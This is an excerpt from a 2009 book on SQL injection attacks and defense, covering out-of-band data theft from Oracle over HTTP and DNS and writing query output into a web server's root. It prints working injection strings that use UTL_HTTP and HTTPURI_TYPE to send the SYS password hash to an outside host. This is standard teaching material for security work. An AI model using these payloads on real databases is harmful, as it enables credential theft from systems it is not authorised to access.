SQL Injection Attacks and Defense - 2009

HTTP/DNS
Exploiting SQL Injection • Chapter 4 203
Oracle also offers two possibilities for performing HTTP requests: UTL_HTTP and
HTTPURI_TYPE. The UTL_HTTP package and the HTTPURI_TYPE object type
are granted to the public role by default and can be executed by any user in the database
as well as via SQL injection.
To send, for example, the password hash of the SYS user to a remote system, you can
inject the following string:
Or 1=utl_http.request ('http://www.orasploit.com/'||
(select password from dba_users where rownum=1)) --
or via the HTTPURI_TYPE object type as follows:
or 1=HTTPURI_TYPE( 'http://www.orasploit.com/'||
(select password from dba_users where rownum=1) ).getclob() --
Additionally, if the SQL query is written inside the URL, the data (maximum 64 bytes)
can also be sent via the domain name system (DNS) lookup that is made to an external site
as follows. (We discuss this technique in more detail in Chapter 5.)
or 1= utl_http.request ('http://www.'||(select password from dba_users where
rownum=1)||'.orasploit.com/' )--
File System
Sometimes the Web server and the database server happen to reside on the same box.
This is a common case when the Web application has a limited number of users and/or
it uses a limited amount of data. In such cases, it might not be very cost-effective to split
the architecture into multiple tiers. Although such a choice is obviously very attractive for
an organization that tries to minimize expenses, it has a number of security drawbacks,
most notably the fact that a single flaw can be enough for an attacker to obtain full control
over all the components.
In case an SQL injection flaw is discovered, such a setup allows an easy and convenient
way to extract information from the database server: If the attacker has enough privileges to
write on the file system, he can redirect the results of a query to a file inside the Web server
root, and then normally access the file with the browser.
If the database server and the Web server are on separate machines, it might still be
possible to adopt this technique if the Web server is configured to export the folders that
contain the Web site, and the database server is authorized to write on them.
Note that additional information on interacting with the file system is available in
Chapter 6.